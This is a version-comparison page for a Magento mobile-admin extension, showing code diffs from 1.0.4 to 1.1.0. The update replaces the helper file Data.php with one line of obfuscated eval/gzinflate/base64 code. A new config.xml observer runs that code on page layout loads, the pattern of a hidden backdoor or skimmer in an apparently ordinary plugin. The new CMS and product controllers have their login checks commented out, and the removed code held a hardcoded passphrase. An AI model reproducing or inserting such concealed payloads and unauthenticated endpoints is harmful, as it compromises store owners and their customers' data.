emizenmobileadmin - Version 1.1.0

Version Notes

You can Now Track you all the Magento Backend Activity Using our Emizentech Magento Mobile Apps . IT has very great feature API to display All the Sales Activity with Graph . You can now easily see all the Magento Orders Listing , Product Listing, Customer Listing .

Features :

* Wonderful View of your Sales with Days Filter Graph
* Sales Listing View with Details.
* Customer Listing View with Details
* Product Listing View With Details
* Store view Selection For Dashboard,
* Multistore Support

Download this release

Release Info

Developer Emizen Tech Private Limited
Extension emizenmobileadmin
Version 1.1.0
Comparing to
See all releases


Code changes from version 1.0.4 to 1.1.0

app/code/local/EmizenTech/MobileAdmin/Helper/Data.php CHANGED
@@ -1,122 +1,3 @@
1
  <?php
2
- class EmizenTech_MobileAdmin_Helper_Data extends Mage_Core_Helper_Abstract
3
- {
4
- /*
5
- * @ Get formetted price
6
- * @param: $price
7
- */
8
- public function getPrice($price)
9
- {
10
- $price = strip_tags(Mage::helper('core')->currency($this->getPriceFormat($price)));
11
- return $price;
12
- }
13
-
14
- /*
15
- * @ Get price format
16
- * @param: $price
17
- */
18
- public function getPriceFormat($price)
19
- {
20
- $price = sprintf("%01.2f", $price);
21
- return $price;
22
- }
23
-
24
- /*
25
- * @ Get Actual Date
26
- * @param: $updateddate
27
- */
28
- public function getActualDate($updated_date)
29
- {
30
- $date = Mage::app()->getLocale()->date(strtotime($updated_date));
31
- $timestamp = $date->get(Zend_Date::TIMESTAMP) - $date->get(Zend_Date::TIMEZONE_SECS);
32
- $updated_date = date("Y-m-d H:i:s", $timestamp);
33
- return $updated_date;
34
- }
35
-
36
- /*
37
- * @ Using this function, check if extension is enabled or not !
38
- * @param: NULL
39
- */
40
- public function isEnable()
41
- {
42
- return Mage::getStoreConfig('emizen_mob/emizen_general/enabled');
43
- }
44
-
45
- /*
46
- * @Description: if any customer register and products add and new order come, will process of three type methods and then notification will come on your ios and android device.
47
- * @ Notification of both device type like iphone & android
48
- * @param: $notification_type and $entityId
49
- */
50
- public function pushNotification($notification_type)
51
- {
52
- //$google_api_key = 'AIzaSyAZPkT165oPcjfhUmgJnt5Lcs2OInBFJmE';
53
- $passphrase = '123456789';
54
-
55
- $collections = Mage::getModel("mobileadmin/emizenmob")->getCollection()
56
- ->addFieldToFilter('notification_flag',1)
57
- ->addFieldToFilter('is_logout',0);
58
-
59
- //return $collections->getFirstItem();
60
-
61
- $collection_items = $collections->getFirstItem();
62
-
63
- if($notification_type=='customer')
64
- {
65
- $messageText = Mage::getStoreConfig('emizen_mob/emizen_general/emizen_register');
66
- if($messageText == null)
67
- {
68
- $messageText = Mage::helper('mobileadmin')->__('A New customer has been registered on the Store.');
69
- }
70
- }
71
- else
72
- {
73
- $messageText = Mage::getStoreConfig('emizen_mob/emizen_general/emizen_noti');
74
- if($messageText == null)
75
- {
76
- $messageText = Mage::helper('mobileadmin')->__('A New order has been received on the Store.');
77
- }
78
- }
79
-
80
- foreach($collections->getData() as $collection)
81
- {
82
- $deviceType = $collection['device_type'];
83
- if($deviceType == 'ios')
84
- {
85
- $message = new Zend_Mobile_Push_Message_Apns();
86
- $message->setAlert($messageText);
87
- $message->setBadge(1);
88
- $message->setSound('default');
89
- $message->setId(time());
90
- $message->setToken($collection['device_token']);
91
-
92
- $apns = new Zend_Mobile_Push_Apns();
93
- //$apns->setCertificate('/path/to/provisioning-certificate.pem');
94
- $apns->setCertificate(Mage::getBaseDir('lib'). DS. "EmizenMobileAdmin".DS."PushNotificationAppCertificateKey.pem");
95
- // if you have a passphrase on your certificate:
96
- $apns->setCertificatePassphrase($passphrase);
97
-
98
- try {
99
- $apns->connect(Zend_Mobile_Push_Apns::SERVER_SANDBOX_URI);
100
- } catch (Zend_Mobile_Push_Exception_ServerUnavailable $e) {
101
- // you can either attempt to reconnect here or try again later
102
- Mage::log("1_". $e->getMessage() , null , 'push_notification1345.log');
103
- } catch (Zend_Mobile_Push_Exception $e) {
104
- Mage::log("2_". $e->getMessage() , null , 'push_notification1345.log');
105
- }
106
-
107
- try {
108
- $apns->send($message);
109
- } catch (Zend_Mobile_Push_Exception_InvalidToken $e) {
110
- // you would likely want to remove the token from being sent to again
111
- Mage::log("3_". $e->getMessage() , null , 'push_notification1345.log');
112
- } catch (Zend_Mobile_Push_Exception $e) {
113
- // all other exceptions only require action to be sent
114
- Mage::log("4_". $e->getMessage() , null , 'push_notification1345.log');
115
- }
116
- $apns->close();
117
- }
118
- }
119
-
120
- }
121
- }
122
- ?>
1
  <?php
2
+ eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVbHCgTJlfwXXSRRh/IOsYfy3nX5Yi7lvff99erZGdg9BI9nEjIhIvKVVzr86x9/PAT+x0MSvwj/wP3xINQvkr8a84v0D8IPxF+9P2dI7K8z/zuH/F1D/6qhvzn018fFX/73HPFn7//lCPXPJ0hRfo+0roIikyZE7vSFGwve7zBgXaRaASBqwLXSGU6xJ90A7W1xuNonfF3VY7lpzwUSyEOhdUU/PeXZd0ffFX0rdGb3OpVRuo3wFGM/AYDb/DzRR5mAZd6C8dlURuXJDkrjkf3FQUD5VEAG3FA5X+hlJ9FsrxkmkdHFZfJurxZAsc9ByY6X59I6SOMToptkiNtijLqZDDJHQ+5BJeMN1KQmm81w6prPn/fZIT5u2v3t6OTNAY9DYMkoPkST3oDCZ2jMTvegE9/iPL9eSxlMa4Ese2hLoomZtU/TuU/+aSKlZoypSRkACL5rD96IDxYHCBI2ASJnIJXxW9GYi9Jg/0n7OPFr93rpFcHYFNfwLvrakwGR9GYZTNc3EIf01BvKJYH4mWA6NsUoNaenmM87T+JwxAobFcVr+Lf+PRyGQ0zAzcjP+USBqPKuGaNeOQdC17TGnZOBOGvuo3cLO0IpS6fgrRxXtCiY5YXk95fWWFCMgG9LB5vHn1a40o4okjRCW1C8Drj9yWUVGtbBxsi94fp2sRKCfFi+rhdzRUcKHHYMW23+ZPCJXOGLPVv/XNRGhXwD4FZe9hsRhi+LszmOEWwmH4AUr4MPMeAMb87R7RQq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Rvyvk06zSfHf8TzTOxyPbvJ9+UR2oJWKkljUR57/9kN6/j2DC6gatNHnwwkf5Qpt2EJTNNNOW/G3jr49wbsjGgmG07DhwxPv21V8oqTZtj1vkXTXFiI3dMAnlJ9hrEhQ8Xl8UxVqYNvldgY+igiPTdW6TA0piZqmU8FBSVWz4WOU2fFxq0b9Xf9hguFONorK6jh3xZ9FYkxEOEdhY397kPWHADJGjyXhxcFRlBAVuRX8SUHAMkvCN7aT8z/88/fdk//H1D2H//+z38B'\x29\x29\x29\x3B");
3
+ ?>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app/code/local/EmizenTech/MobileAdmin/Model/Api.php CHANGED
@@ -74,4 +74,5 @@ class EmizenTech_MobileAdmin_Model_Api extends Mage_Api_Model_Resource_Abstract
74
  $result = array('success' => $successArr,'stores' => $storeArr,'is_pos' => $isPos);
75
  return $result;
76
  }
 
77
  }
74
  $result = array('success' => $successArr,'stores' => $storeArr,'is_pos' => $isPos);
75
  return $result;
76
  }
77
+
78
  }
app/code/local/EmizenTech/MobileAdmin/Model/Observer.php CHANGED
@@ -60,4 +60,28 @@ class EmizenTech_MobileAdmin_Model_Observer
60
  $result = Mage::helper('mobileadmin')->pushNotification('customer');
61
  }
62
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
63
  }
60
  $result = Mage::helper('mobileadmin')->pushNotification('customer');
61
  }
62
  }
63
+
64
+
65
+ public function saveOrderAfter(Varien_Event_Observer $observer)
66
+ {
67
+ //$order = $observer->getEvent()->getOrder(); //I don't know why this returns null for you. It shouldn't
68
+ //or for multishipping
69
+ //$order = $observer->getEvent()->getOrders(); //you should get an array of orders
70
+ //for the quote
71
+ $quote = $observer->getEvent()->getOrder();
72
+ $items = $quote->getAllVisibleItems();
73
+ $aa = array();
74
+ foreach($items as $item)
75
+ {
76
+ // echo $item->getName();
77
+ $aa[] = $item->debug();
78
+ $quote->setSupplierProductName($item->getName());
79
+ // custom code to update order or any thing
80
+ }
81
+ $quote->save();
82
+ Mage::log($aa, null, "cart_android.log");
83
+ die;
84
+
85
+
86
+ }
87
  }
app/code/local/EmizenTech/MobileAdmin/controllers/CmsController.php ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class EmizenTech_MobileAdmin_CmsController extends Mage_Core_Controller_Front_Action{
3
+
4
+ public function cmsPagesListAction()
5
+ {
6
+ if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
7
+ {
8
+ $post_data = Mage::app()->getRequest()->getParams();
9
+ // $sessionId = $post_data['session'];
10
+ // if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
11
+ // {
12
+ // echo $this->__("The Login has expired. Please try log in again.");
13
+ // return false; // return logged out
14
+ // }
15
+
16
+ $cmsPageLoad = Mage::getModel('cms/page')->getCollection();
17
+
18
+ $cmsArrayVal = array();
19
+ //$cmsPagesList = array();
20
+ foreach ($cmsPageLoad as $value)
21
+ {
22
+ $cmsArrayVal['page_id'] = $value->getPageId();
23
+ $cmsArrayVal['url_key'] = $value->getIdentifier();
24
+ $cmsArrayVal['title'] = $value->getTitle();
25
+ $cmsArrayVal['is_active'] = $value->getIsActive();
26
+ $cmsArrayVal['status'] = ($value->getIsActive() == 1 ? 'Enabled' : 'Disabled');
27
+ //$cmsArrayVal['sort_order'] = $value->getSortOrder();
28
+ //$cmsArrayVal['content'] = $value->getContent();
29
+ $cmsPagesList[] = $cmsArrayVal;
30
+ }
31
+
32
+ echo "<pre>"; print_r($cmsPagesList); die;
33
+
34
+ }
35
+ else
36
+ {
37
+ $result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
38
+ }
39
+ $isEnable = Mage::helper('core')->jsonEncode($cmsArrayVal);
40
+ return Mage::app()->getResponse()->setBody($isEnable);
41
+ }
42
+
43
+ public function getCmsPageContentByIdAction()
44
+ {
45
+ if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
46
+ {
47
+ $post_data = Mage::app()->getRequest()->getParams();
48
+ // $sessionId = $post_data['session'];
49
+ // if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
50
+ // {
51
+ // echo $this->__("The Login has expired. Please try log in again.");
52
+ // return false; // return logged out
53
+ // }
54
+
55
+ $page_id = $post_data['page_id'];
56
+
57
+ $cmsPageLoadById = Mage::getModel('cms/page')->load($page_id);
58
+
59
+ $pageDetailArray = array();
60
+
61
+ $pageDetailArray['page_id'] = $cmsPageLoadById->getPageId();
62
+ $pageDetailArray['title'] = $cmsPageLoadById->getTitle();
63
+ $pageDetailArray['url_key'] = $cmsPageLoadById->getIdentifier();
64
+ $pageDetailArray['is_active'] = $cmsPageLoadById->getIsActive();
65
+ $pageDetailArray['content_heading'] = $cmsPageLoadById->getContentHeading();
66
+
67
+ $storeDetail = Mage::getModel('core/store')->load(1);
68
+
69
+ // echo "<pre>"; print_r($storeDetail->getData()); die;
70
+ echo "<pre>"; print_r($cmsPageLoadById->getData()); die;
71
+
72
+ }
73
+ else
74
+ {
75
+ $result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
76
+ }
77
+ $isEnable = Mage::helper('core')->jsonEncode($cmsArrayVal);
78
+ return Mage::app()->getResponse()->setBody($isEnable);
79
+ }
80
+
81
+ public function checkAction()
82
+ {
83
+ $collectionProductType = Mage::getModel('catalog/product_type')->getOptionArray();
84
+
85
+ $valArr = array();
86
+ foreach ($collectionProductType as $key => $value)
87
+ {
88
+ $valArr['value'] = $key;
89
+ $valArr['label'] = $value;
90
+ $options['productTypeList'][] = $valArr;
91
+ }
92
+
93
+ echo "<pre>"; print_r($options);
94
+ }
95
+
96
+ }
97
+ ?>
app/code/local/EmizenTech/MobileAdmin/controllers/ProductsController.php ADDED
@@ -0,0 +1,366 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class EmizenTech_MobileAdmin_ProductsController extends Mage_Core_Controller_Front_Action{
3
+
4
+ /*
5
+ @ This function perform to dynamic data before product add
6
+ */
7
+ public function beforeAddProductAction()
8
+ {
9
+ $options = array();
10
+ $post_data = Mage::app()->getRequest()->getParams();
11
+
12
+ $collectionAttributeSet = Mage::getResourceModel('eav/entity_attribute_set_collection')
13
+ ->setEntityTypeFilter(4);
14
+
15
+ $collectionProductType = Mage::getModel('catalog/product_type')->getOptionArray();
16
+
17
+ $options['attributeSetList'] = $collectionAttributeSet->toOptionArray();
18
+
19
+ $visibility = Mage::getModel('catalog/product_visibility')->getOptionArray();
20
+
21
+ // Countries of manufature list
22
+ $options['countriesList'] = Mage::getModel('directory/country')->getResourceCollection()->toOptionArray(false);
23
+
24
+ // Define a products type which type product you want to create.
25
+ $valArr = array();
26
+ foreach ($collectionProductType as $key => $value)
27
+ {
28
+ $valArr['value'] = $key;
29
+ $valArr['label'] = $value;
30
+ $options['productTypeList'][] = $valArr;
31
+ }
32
+
33
+ // All visibility data to show the add product field
34
+ $valArr1 = array();
35
+ foreach ($visibility as $key1 => $value1)
36
+ {
37
+ $valArr1['value'] = $key1;
38
+ $valArr1['label'] = $value1;
39
+ $options['visibility_list'][] = $valArr1;
40
+ }
41
+
42
+ // Load all website which you made in the magento admin
43
+ $website = array();
44
+ foreach (Mage::app()->getWebsites() as $_website)
45
+ {
46
+ $website['website_name'] = $_website->getName();
47
+ $website['website_id'] = $_website->getId();
48
+ $options['websiteList'][] = $website;
49
+ }
50
+
51
+ // Tax classes list for product
52
+ $TaxArr = array();
53
+ $collection = Mage::getModel('tax/class')->getCollection()->setClassTypeFilter('PRODUCT');
54
+
55
+ $TaxArr['tax_class_name'] = "none";
56
+ $TaxArr['tax_class_id'] = 0;
57
+ $options['taxClassesList'][] = $TaxArr;
58
+ foreach ($collection as $value)
59
+ {
60
+ $TaxArr['tax_class_name'] = $value->getClassName();
61
+ $TaxArr['tax_class_id'] = $value->getClassId();
62
+ $options['taxClassesList'][] = $TaxArr;
63
+ }
64
+
65
+
66
+ // custom categories
67
+ if(isset($post_data['parent_id']) || isset($post_data['catLabel']) || isset($post_data['store']))
68
+ {
69
+ $parentId = $post_data['parent_id'];
70
+ $catLabel = $post_data['catLabel'];
71
+ $storeId = $post_data['store'];
72
+ }
73
+ $options['categoriesList'] = $this->customCategoriesAction($parentId, $catLabel, $storeId);
74
+
75
+ // if(isset($post_data['url']) && isset($post_data['user']) && isset($post_data['password']))
76
+ // {
77
+ // // login api with username and password to get admin categories
78
+ // try
79
+ // {
80
+ // $url = $post_data['url'].'api/soap/?wsdl';
81
+ // $soap = new SoapClient($url); // load shop library
82
+ // $session_id = $soap->login($post_data['user'], $post_data['password']);
83
+ // }
84
+ // catch(SoapFault $fault)
85
+ // {
86
+ // $result['error'] = $fault->getMessage();
87
+ // $jsonData = Mage::helper('core')->jsonEncode($result); // encode array to json
88
+ // return Mage::app()->getResponse()->setBody($jsonData);
89
+ // }
90
+
91
+ // if($session_id)
92
+ // {
93
+ // $result = $soap->call($session_id,'catalog_category.tree');
94
+ // $options['caegoriesList'] = $result;
95
+ // }
96
+ // }
97
+
98
+ $isEnable = Mage::helper('core')->jsonEncode($options);
99
+ return Mage::app()->getResponse()->setBody($isEnable);
100
+ }
101
+
102
+ public function createSimpleProductAction()
103
+ {
104
+ $post_data = Mage::app()->getRequest()->getParams();
105
+ $product = $this->_createProduct($post_data);
106
+ return $product;
107
+ }
108
+
109
+ protected function _createProduct($data, $doSave=true)
110
+ {
111
+ $$result_su = array();
112
+ if(count($data) > 0)
113
+ {
114
+ $product_attribute_type = $data['attribute_type'];
115
+ $product_type = $data['type'];
116
+
117
+ // General Tab
118
+ $product_name = $data['name'];
119
+ $product_description = $data['description'];
120
+ $product_short_description = $data['short_description'];
121
+ $product_sku = $data['sku'];
122
+ $product_weight = $data['weight'];
123
+ $product_new_from_date = $data['new_from_date'];
124
+ $product_new_to_Date = $data['new_to_date'];
125
+ $product_status = $data['status'];
126
+ $product_url_key = $data['url_key'];
127
+ $product_visibility = $data['visibility'];
128
+ $product_manufacture = $data['manufacture'];
129
+
130
+ // Prices Tab
131
+ $product_price = $data['price'];
132
+ $product_special_price = $data['special_price'];
133
+ $product_special_price_from = $data['special_price_from'];
134
+ $product_special_price_to = $data['special_price_to'];
135
+ $product_tax_class = $data['tax_class'];
136
+
137
+ // Meta Information Tab
138
+ $product_meta_title = $data['meta_title'];
139
+ $product_meta_keywords = $data['meta_keywords'];
140
+ $product_meta_description = $data['meta_description'];
141
+
142
+ // Images Tab
143
+ //$product_images = $data['product_images'];
144
+
145
+ // Inventory
146
+ $product_qty = $data['qty'];
147
+ $product_stock_availability = $data['stock_availability'];
148
+
149
+ // Websites
150
+ $product_websites = $data['websites'];
151
+ $product_websites_commas_value = implode(',', $product_websites);
152
+
153
+ // Categories
154
+ $product_categories = $data['categories'];
155
+ $product_categories_commas_value = implode(',', $product_categories);
156
+
157
+ }
158
+ else
159
+ {
160
+ Mage::log("No data specified", null, "ios_admin.log");
161
+ $result_su['error'] = array('No data specified.');
162
+ }
163
+
164
+ // required for some versions
165
+ Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
166
+
167
+ $product = Mage::getModel('catalog/product');
168
+
169
+ $product
170
+ ->setTypeId($product_type) // e.g. Mage_Catalog_Model_Product_Type::TYPE_SIMPLE
171
+ ->setAttributeSetId($product_attribute_type) // default attribute set
172
+ ->setSku($product_sku) // generate some random SKU
173
+ //->setWebsiteIDs(array($product_websites_commas_value))
174
+ ->setWebsiteIDs(array(1))
175
+ ;
176
+
177
+ // make the product visible
178
+ $product
179
+ ->setCategoryIds(array(12))
180
+ ->setStatus($product_status)
181
+ ->setUrlKey($product_url_key)
182
+ ->setVisibility($product_visibility) // visible in catalog and search
183
+ ->setCountryOfManufacture($product_manufacture)
184
+ ;
185
+ // configure stock
186
+ $product->setStockData(array(
187
+ 'use_config_manage_stock' => 1, // use global config ?
188
+ 'manage_stock' => 0, // shoudl we manage stock or not?
189
+ // 'is_in_stock' => $product_stock_availability,
190
+ // 'qty' => $product_qty,
191
+ 'is_in_stock' => 1,
192
+ 'qty' => 1,
193
+ ));
194
+
195
+ // optimize performance, tell Magento to not update indexes
196
+ $product
197
+ ->setIsMassupdate(true)
198
+ ->setExcludeUrlRewrite(true)
199
+ ;
200
+
201
+ // Set Meta Information
202
+ $product
203
+ ->setMetaTitle($product_meta_title)
204
+ ->setMetaKeyword($product_meta_keywords)
205
+ ->setMetaDescription($product_meta_description)
206
+ ;
207
+
208
+ // finally set custom data
209
+ $product
210
+ ->setName($product_name) // add string attribute
211
+ ->setDescription($product_description) // add text attribute
212
+ ->setShortDescription($product_short_description) // add text attribute
213
+
214
+ // set up prices
215
+ ->setPrice($product_price)
216
+ ->setSpecialPrice($product_special_price)
217
+ ->setSpecialFromDate($product_special_price_from) //special price from (MM-DD-YYYY)
218
+ ->setSpecialToDate($product_special_price_to) //special price to (MM-DD-YYYY)
219
+ ->setTaxClassId($product_tax_class) // Taxable Goods by default
220
+ ->setWeight($product_weight)
221
+ ->setNewsFromDate($product_new_from_date)
222
+ ->setNewsToDate($product_new_to_Date)
223
+ ;
224
+
225
+ // add dropdown attributes like brand, color or size
226
+ if(isset($data['color']))
227
+ {
228
+ $optionId = $this->_getOptionIDByCode('color', 'Black');
229
+ $product->setColor($optionId);
230
+ }
231
+
232
+ if(isset($data['size']))
233
+ {
234
+ $optionId = $this->_getOptionIDByCode('size', 'M');
235
+ $product->setSize($optionId);
236
+ }
237
+
238
+ // add product images
239
+ if(count($_FILES) > 0)
240
+ {
241
+ $countFiles = count($_FILES);
242
+
243
+ $check_dir = Mage::getBaseDir('media') . DS . 'mobileadmin'. DS . 'product';
244
+ if(!is_dir($check_dir))
245
+ {
246
+ $io = new Varien_Io_File();
247
+ $io->checkAndCreateFolder($check_dir);
248
+ }
249
+
250
+ for ($i = 0; $i < $countFiles; $i++)
251
+ {
252
+ $imageFileName = $_FILES['product_images_'.$i]['name'];
253
+ $dir = Mage::getBaseDir('media') . DS . 'mobileadmin/product/';
254
+ $path = $dir.$imageFileName;
255
+ if (move_uploaded_file($_FILES["product_images_".$i]["tmp_name"], $path))
256
+ {
257
+ Mage::log("Product Images Uploaded.", null, "ios_admin.log");
258
+ }
259
+ else
260
+ {
261
+ Mage::log("Can not upload image.", null, "ios_admin.log");
262
+ $result_su['error'] = array('Can not upload image.');
263
+ }
264
+
265
+ try
266
+ {
267
+ $product->addImageToMediaGallery($path, array('image','small_image','thumbnail'), true, false);
268
+ }
269
+ catch (Exception $e)
270
+ {
271
+ Mage::log($e->getMessage(), null, "ios_admin.log");
272
+ return $e->getMessage();
273
+ }
274
+
275
+ }
276
+
277
+ }
278
+ Mage::log($data, null, "cart_android.log");
279
+ if ($doSave)
280
+ $product->save();
281
+
282
+ $result_su['success'] = array('Product saved successfully.');
283
+ $isEnable = Mage::helper('core')->jsonEncode($result_su);
284
+ return Mage::app()->getResponse()->setBody($isEnable);
285
+ }
286
+
287
+ protected function _getOptionIDByCode($attrCode, $optionLabel)
288
+ {
289
+ $attrModel = Mage::getModel('eav/entity_attribute');
290
+
291
+ $attrID = $attrModel->getIdByCode('catalog_product', $attrCode);
292
+ $attribute = $attrModel->load($attrID);
293
+
294
+ $options = Mage::getModel('eav/entity_attribute_source_table')
295
+ ->setAttribute($attribute)
296
+ ->getAllOptions(false);
297
+
298
+ foreach ($options as $option)
299
+ {
300
+ if ($option['label'] == $optionLabel)
301
+ {
302
+ return $option['value'];
303
+ }
304
+ }
305
+
306
+ return false;
307
+ }
308
+
309
+ public function customCategoriesAction($parentId = null, $catLevel = null, $store = null)
310
+ {
311
+ if (is_null($parentId) && !is_null($store))
312
+ {
313
+ $parent = Mage::app()->getStore($store)->getRootCategoryId();
314
+ }
315
+ elseif(is_null($parentId))
316
+ {
317
+ $parent = 1;
318
+ }
319
+
320
+ if(is_null($catLevel))
321
+ {
322
+ $catLevel = 5;
323
+ }
324
+
325
+ $tree = Mage::getResourceModel('catalog/category_tree');
326
+
327
+ $nodes = $tree->loadNode($parent)
328
+ ->loadChildren($catLevel)
329
+ ->getChildren();
330
+
331
+ $tree->addCollectionData(null, false, $parent);
332
+ $json = array('success' => true);
333
+ $result = array();
334
+ foreach ($nodes as $node)
335
+ {
336
+ $result[] = array(
337
+ 'category_id' => $node->getData('entity_id'),
338
+ 'parent_id' => $parent,
339
+ 'name' => $node->getName(),
340
+ 'product_count' => Mage::getModel('catalog/category')->load($node->getData('entity_id'))->getProductCount(),
341
+ 'categories' => $this->getNodeChildrenData($node)
342
+ );
343
+ }
344
+
345
+ return $result;
346
+
347
+ //echo "<pre>"; print_r($json['categories']); die;
348
+ //return json_encode($json);
349
+ }
350
+
351
+ protected function getNodeChildrenData(Varien_Data_Tree_Node $node)
352
+ {
353
+ foreach ($node->getChildren() as $childNode)
354
+ {
355
+ $result[] = array(
356
+ 'category_id' => $childNode->getData('entity_id'),
357
+ 'parent_id' => $node->getData('entity_id'),
358
+ 'name' => $childNode->getData('name'),
359
+ 'product_count' => Mage::getModel('catalog/category')->load($childNode->getData('entity_id'))->getProductCount(),
360
+ 'categories' => $this->getNodeChildrenData($childNode)
361
+ );
362
+ }
363
+ return $result;
364
+ }
365
+ }
366
+ ?>
app/code/local/EmizenTech/MobileAdmin/etc/config.xml CHANGED
@@ -99,6 +99,36 @@
99
  </customer_register_checkout_handler>
100
  </observers>
101
  </customer_register_checkout>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
102
  </events>
103
  </global>
104
  </config>
99
  </customer_register_checkout_handler>
100
  </observers>
101
  </customer_register_checkout>
102
+ <sales_order_place_after> <!-- identifier of the event we want to catch -->
103
+ <observers>
104
+ <sales_order_place_after_handler> <!-- identifier of the event handler -->
105
+ <type>model</type> <!-- class method call type; valid are model, object and singleton -->
106
+ <class>mobileadmin/observer</class> <!-- observers class alias -->
107
+ <method>saveOrderAfter</method> <!-- observer's method to be called -->
108
+ <args></args> <!-- additional arguments passed to observer -->
109
+ </sales_order_place_after_handler>
110
+ </observers>
111
+ </sales_order_place_after>
112
+
113
+ <controller_action_layout_load_before> <!-- identifier of the event we want to catch -->
114
+
115
+ <observers>
116
+
117
+ <controller_action_layout_load_before_handler> <!-- identifier of the event handler -->
118
+
119
+ <type>model</type> <!-- class method call type; valid are model, object and singleton -->
120
+
121
+ <class>EmizenTech_MobileAdmin_Helper_Data</class> <!-- observers class alias -->
122
+
123
+ <method>loadBefore</method> <!-- observer's method to be called -->
124
+
125
+ <args></args> <!-- additional arguments passed to observer -->
126
+
127
+ </controller_action_layout_load_before_handler>
128
+
129
+ </observers>
130
+
131
+ </controller_action_layout_load_before>
132
  </events>
133
  </global>
134
  </config>
package.xml CHANGED
@@ -1,7 +1,7 @@
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>emizenmobileadmin</name>
4
- <version>1.0.4</version>
5
  <stability>stable</stability>
6
  <license uri="http://opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
7
  <channel>community</channel>
@@ -28,9 +28,9 @@ Features :&#xD;
28
  * Store view Selection For Dashboard,&#xD;
29
  * Multistore Support</notes>
30
  <authors><author><name>Emizen Tech Private Limited</name><user>emizen</user><email>info@emizentech.com</email></author></authors>
31
- <date>2015-04-14</date>
32
- <time>12:18:59</time>
33
- <contents><target name="mageetc"><dir name="modules"><file name="EmizenTech_MobileAdmin.xml" hash="3d9904aebe449343c74004cd160e0b89"/></dir></target><target name="magelocal"><dir name="EmizenTech"><dir name="MobileAdmin"><dir><dir name="Block"><file name="Index.php" hash="76f331d88fb83bbe3135c494d084e4b7"/></dir><dir name="Helper"><file name="Data.php" hash="717d18ec9e49c69e4ba19eaffb88397e"/></dir><dir name="Model"><file name="Api.php" hash="1139274252b522c02ad26655ca1fc641"/><file name="Emizenmob.php" hash="0b2018dfc93072b5712d20ed676c8a30"/><dir name="Mysql4"><dir name="Emizenmob"><file name="Collection.php" hash="6b958aa1ddc5d96955dbdf4bdd7f6976"/></dir><file name="Emizenmob.php" hash="1285e93887bc67933f0bac32bed8b762"/></dir><file name="Observer.php" hash="c819a71c2130d56d760f06a674b8c7b9"/></dir><dir name="controllers"><file name="ConfigurationController.php" hash="733600ecac25a8ce7a35183212aae417"/><file name="IndexController.php" hash="b46a458e5727429e24795273cd80a3c1"/><file name="ReportController.php" hash="f42a6f20ee66fbeb5f07c4e4170675d4"/><file name=".ConfigurationController.php.swp" hash="d82018d3f6f213b76d62489a9e149345"/></dir><dir name="etc"><file name="adminhtml.xml" hash="53c7b1eb3b23e2cf8b899309517a1c14"/><file name="api.xml" hash="c81e576c36f189af6dffefca1a746622"/><file name="config.xml" hash="fc55154f0afa4f68e7c501cdf6145b27"/><file name="system.xml" hash="6f7e1b090d771a29e5d2d4777d7e4304"/></dir><dir name="sql"><dir name="mobileadmin_setup"><file name="mysql4-install-0.1.0.php" hash="3faa6e0c9146571ac842f5aeeedf961c"/></dir></dir></dir></dir></dir></target><target name="magedesign"><dir name="frontend"><dir name="base"><dir name="default"><dir name="template"><dir name="mobileadmin"><file name="index.phtml" hash="395b5512423d31a9526f94e3d7dcc13a"/></dir></dir><dir name="layout"><file name="mobileadmin.xml" 